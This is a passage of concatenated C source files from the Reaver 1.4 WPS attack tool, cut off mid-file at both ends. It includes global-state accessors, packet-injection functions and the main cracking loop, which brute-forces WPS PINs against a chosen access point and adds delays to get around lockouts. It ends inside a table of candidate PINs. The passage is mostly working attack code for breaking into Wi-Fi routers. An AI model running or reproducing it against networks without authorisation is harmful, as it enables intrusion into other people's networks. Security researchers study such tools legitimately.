free(globule->static_p1); if(globule->static_p2) free(globule->static_p2); if(globule->fp) fclose(globule->fp); if(globule->exec_string) free(globule->exec_string); free(globule); } } void set_log_file(FILE *fp) { globule->fp = fp; } FILE *get_log_file(void) { return globule->fp; } void set_last_wps_state(int state) { globule->last_wps_state = state; } int get_last_wps_state() { return globule->last_wps_state; } void set_session(char *value) { globule->session = strdup(value); } char *get_session() { return globule->session; } void set_p1_index(int index) { if(index < P1_SIZE) { globule->p1_index = index; } } int get_p1_index() { return globule->p1_index; } void set_p2_index(int index) { if(index < P2_SIZE) { globule->p2_index = index; } } int get_p2_index() { return globule->p2_index; } void set_p1(int index, char *value) { if(index < P1_SIZE) { globule->p1[index] = strdup(value); } } char *get_p1(int index) { if(index < P1_SIZE) { return globule->p1[index]; } return NULL; } void set_p2(int index, char *value) { if(index < P2_SIZE) { globule->p2[index] = strdup(value); } } char *get_p2(int index) { if(index < P2_SIZE) { return globule->p2[index]; } return NULL; } void set_key_status(enum key_state status) { globule->key_status = status; } enum key_state get_key_status() { return globule->key_status; } void set_delay(int delay) { globule->delay = delay; } int get_delay() { return globule->delay; } void set_fail_delay(int delay) { globule->fail_delay = delay; } int get_fail_delay() { return globule->fail_delay; } void set_validate_fcs(int validate) { globule->validate_fcs = validate; } int get_validate_fcs(void) { return globule->validate_fcs; } void set_recurring_delay(int delay) { globule->recurring_delay = delay; } int get_recurring_delay() { return globule->recurring_delay; } void set_recurring_delay_count(int value) { globule->recurring_delay_count = value; } int get_recurring_delay_count() { return globule->recurring_delay_count; } void set_lock_delay(int value) { globule->lock_delay = value; } int get_lock_delay() { return globule->lock_delay; } void set_ignore_locks(int value) { globule->ignore_locks = value; } int get_ignore_locks() { return globule->ignore_locks; } void set_eap_terminate(int value) { globule->eap_terminate = value; } int get_eap_terminate() { return globule->eap_terminate; } void set_max_pin_attempts(int value) { globule->max_pin_attempts = value; } int get_max_pin_attempts() { return globule->max_pin_attempts; } void set_max_num_probes(int value) { globule->max_num_probes = value; } int get_max_num_probes() { return globule->max_num_probes; } void set_rx_timeout(int value) { globule->rx_timeout = value; } int get_rx_timeout() { return globule->rx_timeout; } void set_timeout_is_nack(int value) { globule->timeout_is_nack = value; } int get_timeout_is_nack() { return globule->timeout_is_nack; } void set_m57_timeout(int value) { globule->m57_timeout = value; } int get_m57_timeout() { return globule->m57_timeout; } void set_out_of_time(int value) { globule->out_of_time = value; } int get_out_of_time() { return globule->out_of_time; } void set_debug(enum debug_level value) { globule->debug = value; } enum debug_level get_debug() { return globule->debug; } void set_eapol_start_count(int value) { globule->eapol_start_count = value; } int get_eapol_start_count() { return globule->eapol_start_count; } void set_fixed_channel(int value) { globule->fixed_channel = value; } int get_fixed_channel() { return globule->fixed_channel; } void set_auto_channel_select(int value) { globule->auto_channel_select = value; } int get_auto_channel_select() { return globule->auto_channel_select; } void set_auto_detect_options(int value) { globule->auto_detect_options = value; } int get_auto_detect_options() { return globule->auto_detect_options; } void set_wifi_band(int value) { globule->wifi_band = value; } int get_wifi_band() { return globule->wifi_band; } void set_opcode(enum wsc_op_code value) { globule->opcode = value; } enum wsc_op_code get_opcode() { return globule->opcode; } void set_eap_id(uint8_t value) { globule->eap_id = value; } uint8_t get_eap_id() { return globule->eap_id; } void set_ap_capability(uint16_t value) { globule->ap_capability = value; } uint16_t get_ap_capability() { return globule->ap_capability; } void set_channel(int channel) { globule->channel = channel; } int get_channel(void) { return globule->channel; } void set_bssid(unsigned char *value) { memcpy((unsigned char *) &globule->bssid, value, MAC_ADDR_LEN); } unsigned char *get_bssid() { return (unsigned char *) &globule->bssid; } void set_mac(unsigned char *value) { memcpy((unsigned char *) &globule->mac, value, MAC_ADDR_LEN); } unsigned char *get_mac() { return (unsigned char *) &globule->mac; } void set_ssid(char *value) { if(globule->ssid) { free(globule->ssid); globule->ssid = NULL; } if(value) { if(strlen(value) > 0) { globule->ssid = strdup(value); } } } char *get_ssid() { return globule->ssid; } void set_iface(char *value) { if(value) { if(globule->iface) { free(globule->iface); } globule->iface = strdup(value); } else if(globule->iface) { free(globule->iface); globule->iface = NULL; } } char *get_iface() { return globule->iface; } void set_pin(char *value) { globule->pin = strdup(value); } char *get_pin() { return globule->pin; } void set_static_p1(char *value) { globule->static_p1 = strdup(value); } char *get_static_p1(void) { return globule->static_p1; } void set_static_p2(char *value) { globule->static_p2 = strdup(value); } char *get_static_p2(void) { return globule->static_p2; } void set_win7_compat(int value) { globule->win7_compat = value; } int get_win7_compat(void) { return globule->win7_compat; } void set_dh_small(int value) { globule->dh_small = value; } int get_dh_small(void) { return globule->dh_small; } void set_external_association(int value) { globule->external_association = value; } int get_external_association(void) { return globule->external_association; } void set_nack_reason(enum nack_code value) { globule->nack_reason = value; } enum nack_code get_nack_reason() { return globule->nack_reason; } void set_handle(pcap_t *value) { globule->handle = value; } pcap_t *get_handle() { return globule->handle; } void set_wps(struct wps_data *value) { globule->wps = value; } struct wps_data *get_wps() { return globule->wps; } void set_ap_rates(unsigned char *value, int len) { if(globule->ap_rates) { free(globule->ap_rates); globule->ap_rates = NULL; globule->ap_rates_len = 0; } globule->ap_rates = malloc(len); if(globule->ap_rates) { memcpy(globule->ap_rates, value, len); globule->ap_rates_len = len; } } unsigned char *get_ap_rates(int *len) { *len = globule->ap_rates_len; return globule->ap_rates; } void set_exec_string(char *string) { if(globule->exec_string) { free(globule->exec_string); globule->exec_string = NULL; } if(string) { globule->exec_string = strdup(string); } } char *get_exec_string(void) { return globule->exec_string; } void set_oo_send_nack(int value) { globule->oo_send_nack = value; } int get_oo_send_nack(void) { return globule->oo_send_nack; } reaver-1.4/src/keys.h0000644000175000017500000000332411705505257014120 0ustar reaverreaver/* * Reaver - All possible WPS PIN combinations * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef KEYS_H #define KEYS_H #include "defs.h" struct key { char *key; int priority; }; #endif reaver-1.4/src/argsparser.h0000644000175000017500000000367611705505257015330 0ustar reaverreaver/* * Reaver - Argument processing functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _ARGPARSER_H_ #define _ARGPARSER_H_ #include #include #include "defs.h" #include "iface.h" #include "sql.h" #include "config.h" int process_arguments(int argc, char **argv); void init_default_settings(void); void parse_recurring_delay(char *arg); void parse_static_pin(char *pin); void process_auto_options(void); #endif reaver-1.4/src/session.h0000644000175000017500000000422111705505257014625 0ustar reaverreaver/* * Reaver - Session save/restore functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SESSION_H #define SESSION_H #include #include #include "defs.h" #include "misc.h" #include "globule.h" #include "sql.h" #include "config.h" #ifndef CONF_DIR #define CONF_DIR "/etc/reaver" #endif #define MAX_LINE_SIZE 128 #define CONF_EXT "wpc" #define P1_STR_LEN 4 #define P2_STR_LEN 3 #define P1_READ_LEN (P1_STR_LEN + 2) /* Read lengths == (strlen + new line + null byte) */ #define P2_READ_LEN (P2_STR_LEN + 2) int restore_session(); int save_session(); int configuration_directory_exists(); #endif reaver-1.4/src/send.c0000644000175000017500000001113111705505257014064 0ustar reaverreaver/* * Reaver - Transmit functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "send.h" /* Initiate the WPS session with an EAPOL START packet */ int send_eapol_start() { const void *packet = NULL; size_t packet_len = 0; int ret_val = 0; packet = build_eapol_start_packet(&packet_len); if(packet) { cprintf(VERBOSE, "[+] Sending EAPOL START request\n"); ret_val = send_packet(packet, packet_len); free((void *) packet); } /* * This is used to track how many times an EAPOL START request is sent * in a row. * * It is cleared by the process_packets() function when an EAP identity * resquest is received. * * If it reaches EAPOL_START_MAX_TRIES, do_wps_exchange() will notify * the user. */ set_eapol_start_count(get_eapol_start_count() + 1); return ret_val; } /* Send an identity response packet */ int send_identity_response() { const void *packet = NULL, *identity = NULL; size_t packet_len = 0; int ret_val = 0; identity = WFA_REGISTRAR; packet = build_eap_packet(identity, strlen(identity), &packet_len); if(packet) { cprintf(VERBOSE, "[+] Sending identity response\n"); ret_val = send_packet(packet, packet_len); free((void *) packet); } return ret_val; } /* Send the appropriate WPS message based on the current WPS state (globule->wps->state) */ int send_msg(int type) { int ret_val = 0; const struct wpabuf *msg = NULL; unsigned char *payload = NULL; const void *packet = NULL; size_t packet_len = 0; uint16_t payload_len = 0; enum wsc_op_code opcode = 0; struct wps_data *wps = get_wps(); /* * Get the next message we need to send based on the data retrieved * from wps_registrar_process_msg (see exchange.c). */ msg = wps_registrar_get_msg(wps, &opcode, type); set_opcode(opcode); if(msg) { /* Get a pointer to the actual data inside of the wpabuf */ payload = (unsigned char *) wpabuf_head(msg); payload_len = (uint16_t) msg->used; /* Build and send an EAP packet with the message payload */ packet = build_eap_packet(payload, payload_len, &packet_len); if(packet) { if(send_packet(packet, packet_len)) { ret_val = 1; } else { free((void *) packet); } } wpabuf_free((struct wpabuf *) msg); } return ret_val; } /* * Send a WSC_NACK message followed by an EAP failure packet. * This is only called when completely terminating a cracking session. */ void send_termination() { const void *data = NULL; size_t data_size = 0; data = build_eap_failure_packet(&data_size); if(data) { send_packet(data, data_size); free((void*) data); } } /* Send a WSC_NACK message */ void send_wsc_nack() { struct wps_data *wps = get_wps(); wps->state = SEND_WSC_NACK; send_msg(SEND_WSC_NACK); } /* * All transmissions are handled here to ensure that the receive timer * is always started immediately after a packet is transmitted. */ int send_packet(const void *packet, size_t len) { int ret_val = 0; if(pcap_inject(get_handle(), packet, len) == len) { ret_val = 1; } start_timer(); return ret_val; } reaver-1.4/src/cracker.h0000644000175000017500000000370111705505257014556 0ustar reaverreaver/* * Reaver - Main cracking functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef CRACKER_H #define CRACKER_H #include "defs.h" #include "globule.h" #include "80211.h" #include "session.h" #include "init.h" #include "exchange.h" #include "pins.h" #include "argsparser.h" #define DISPLAY_PIN_COUNT 5 #define TIME_FORMAT "%F %T" void crack(); void advance_pin_count(); void display_status(float pin_count, time_t start_time); #endif reaver-1.4/src/misc.c0000644000175000017500000000711611705505257014076 0ustar reaverreaver/* * Reaver - Misc functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "misc.h" /* Converts a raw MAC address to a colon-delimited string */ unsigned char *mac2str(unsigned char *mac, char delim) { int i = 0, str_len = 0; int str_mult = 3; int buf_size = str_mult+1; unsigned char *str = NULL; unsigned char buf[4] = { 0 }; /* 4 == buf_size */ str_len = (MAC_ADDR_LEN * str_mult) + 1; str = malloc(str_len); if(!str) { perror("malloc"); } else { memset(str, 0, str_len); for(i=0; i 0) { exit(EXIT_SUCCESS); } if(chdir("/") == 0) { setsid(); umask(0); if(fork() > 0) { exit(EXIT_SUCCESS); } } } /* Closes libpcap during sleep period to avoid stale packet data in pcap buffer */ void pcap_sleep(int seconds) { if(seconds > 0) { pcap_close(get_handle()); set_handle(NULL); sleep(seconds); set_handle(capture_init(get_iface())); if(!get_handle()) { cprintf(CRITICAL, "[-] Failed to re-initialize interface '%s'\n", get_iface()); } } } reaver-1.4/src/send.h0000644000175000017500000000370311705505257014077 0ustar reaverreaver/* * Reaver - Transmit functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SEND_H #define SEND_H #include "defs.h" #include "globule.h" #include "builder.h" #include "sigalrm.h" #include "misc.h" #define WFA_REGISTRAR "WFA-SimpleConfig-Registrar-1-0" int send_eapol_start(); int send_identity_response(); int send_msg(int type); void send_termination(); void send_wsc_nack(); int send_packet(const void *packet, size_t len); #endif reaver-1.4/src/cracker.c0000644000175000017500000002267311705505257014562 0ustar reaverreaver/* * Reaver - Main cracking functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "cracker.h" /* Brute force all possible WPS pins for a given access point */ void crack() { unsigned char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() != NULL) { generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL) { restore_session(); } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); process_auto_options(); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ while(get_ignore_locks() == 0 && is_wps_locked()) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin %s\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { set_pin(pin); } free(pin); pin = NULL; /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } else { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); } } /* * Increment the index into the p1 or p2 array as appropriate. * If we're still trying to brute force the first half, increment p1. * If we're working on the second half, increment p2. */ void advance_pin_count() { if(get_key_status() == KEY1_WIP) { set_p1_index(get_p1_index() + 1); } else if(get_key_status() == KEY2_WIP) { set_p2_index(get_p2_index() + 1); } } /* Displays the status and rate of cracking */ void display_status(float pin_count, time_t start_time) { float percentage = 0; int attempts = 0, average = 0; time_t now = 0, diff = 0; struct tm *tm_p = NULL; char time_s[256] = { 0 }; if(get_key_status() == KEY1_WIP) { attempts = get_p1_index() + get_p2_index(); } /* * If we've found the first half of the key, then the entire key1 keyspace * has been exhausted/eliminated. Our output should reflect that. */ else if(get_key_status() == KEY2_WIP) { attempts = P1_SIZE + get_p2_index(); } else if(get_key_status() == KEY_DONE) { attempts = P1_SIZE + P2_SIZE; } percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100); now = time(NULL); diff = now - start_time; tm_p = localtime(&now); if(tm_p) { strftime(time_s, sizeof(time_s), TIME_FORMAT, tm_p); } else { perror("localtime"); } if(pin_count > 0) { average = (int) (diff / pin_count); } else { average = 0; } cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average); return; } reaver-1.4/src/keys.c0000644000175000017500000055663411705505257014134 0ustar reaverreaver/* * Reaver - All possible WPS PIN combinations * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "keys.h" /* Arrays of possible pin combinations. Pins with a priority field of 1 get tried first. */ struct key k1[P1_SIZE] = { { "1234", 1 }, { "0000", 1 }, { "0001", 0 }, { "0002", 0 }, { "0003", 0 }, { "0004", 0 }, { "0005", 0 }, { "0006", 0 }, { "0007", 0 }, { "0008", 0 }, { "0009", 0 }, { "0010", 0 }, { "0011", 0 }, { "0012", 0 }, { "0013", 0 }, { "0014", 0 }, { "0015", 0 }, { "0016", 0 }, { "0017", 0 }, { "0018", 0 }, { "0019", 0 }, { "0020", 0 }, { "0021", 0 }, { "0022", 0 }, { "0023", 0 }, { "0024", 0 }, { "0025", 0 }, { "0026", 0 }, { "0027", 0 }, { "0028", 0 }, { "0029", 0 }, { "0030", 0 }, { "0031", 0 }, { "0032", 0 }, { "0033", 0 }, { "0034", 0 }, { "0035", 0 }, { "0036", 0 }, { "0037", 0 }, { "0038", 0 }, { "0039", 0 }, { "0040", 0 }, { "0041", 0 }, { "0042", 0 }, { "0043", 0 }, { "0044", 0 }, { "0045", 0 }, { "0046", 0 }, { "0047", 0 }, { "0048", 0 }, { "0049", 0 }, { "0050", 0 }, { "0051", 0 }, { "0052", 0 }, { "0053", 0 }, { "0054", 0 }, { "0055", 0 }, { "0056", 0 }, { "0057", 0 }, { "0058", 0 }, { "0059", 0 }, { "0060", 0 }, { "0061", 0 }, { "0062", 0 }, { "0063", 0 }, { "0064", 0 }, { "0065", 0 }, { "0066", 0 }, { "0067", 0 }, { "0068", 0 }, { "0069", 0 }, { "0070", 0 }, { "0071", 0 }, { "0072", 0 }, { "0073", 0 }, { "0074", 0 }, { "0075", 0 }, { "0076", 0 }, { "0077", 0 }, { "0078", 0 }, { "0079", 0 }, { "0080", 0 }, { "0081", 0 }, { "0082", 0 }, { "0083", 0 }, { "0084", 0 }, { "0085", 0 }, { "0086", 0 }, { "0087", 0 }, { "0088", 0 }, { "0089", 0 }, { "0090", 0 }, { "0091", 0 }, { "0092", 0 }, { "0093", 0 }, { "0094", 0 }, { "0095", 0 }, { "0096", 0 }, { "0097", 0 }, { "0098", 0 }, { "0099", 0 }, { "0100", 0 }, { "0101", 0 }, { "0102", 0 }, { "0103", 0 }, { "0104", 0 }, { "0105", 0 }, { "0106", 0 }, { "0107", 0 }, { "0108", 0 }, { "0109", 0 }, { "0110", 0 }, { "0111", 0 }, { "0112", 0 }, { "0113", 0 }, { "0114", 0 }, { "0115", 0 }, { "0116", 0 }, { "0117", 0 }, { "0118", 0 }, { "0119", 0 }, { "0120", 0 }, { "0121", 0 }, { "0122", 0 }, { "0123", 1 }, { "0124", 0 }, { "0125", 0 }, { "0126", 0 }, { "0127", 0 }, { "0128", 0 }, { "0129", 0 }, { "0130", 0 }, { "0131", 0 }, { "0132", 0 }, { "0133", 0 }, { "0134", 0 }, { "0135", 0 }, { "0136", 0 }, { "0137", 0 }, { "0138", 0 }, { "0139", 0 }, { "0140", 0 }, { "0141", 0 }, { "0142", 0 }, { "0143", 0 }, { "0144", 0 }, { "0145", 0 }, { "0146", 0 }, { "0147", 0 }, { "0148", 0 }, { "0149", 0 }, { "0150", 0 }, { "0151", 0 }, { "0152", 0 }, { "0153", 0 }, { "0154", 0 }, { "0155", 0 }, { "0156", 0 }, { "0157", 0 }, { "0158", 0 }, { "0159", 0 }, { "0160", 0 }, { "0161", 0 }, { "0162", 0 }, { "0163", 0 }, { "0164", 0 }, { "0165", 0 }, { "0166", 0 }, { "0167", 0 }, { "0168", 0 }, { "0169", 0 }, { "0170", 0 }, { "0171", 0 }, { "0172", 0 }, { "0173", 0 }, { "0174", 0 }, { "0175", 0 }, { "0176", 0 }, { "0177", 0 }, { "0178", 0 }, { "0179", 0 }, { "0180", 0 }, { "0181", 0 }, { "0182", 0 }, { "0183", 0 }, { "0184", 0 }, { "0185", 0 }, { "0186", 0 }, { "0187", 0 }, { "0188", 0 }, { "0189", 0 }, { "0190", 0 }, { "0191", 0 }, { "0192", 0 }, { "0193", 0 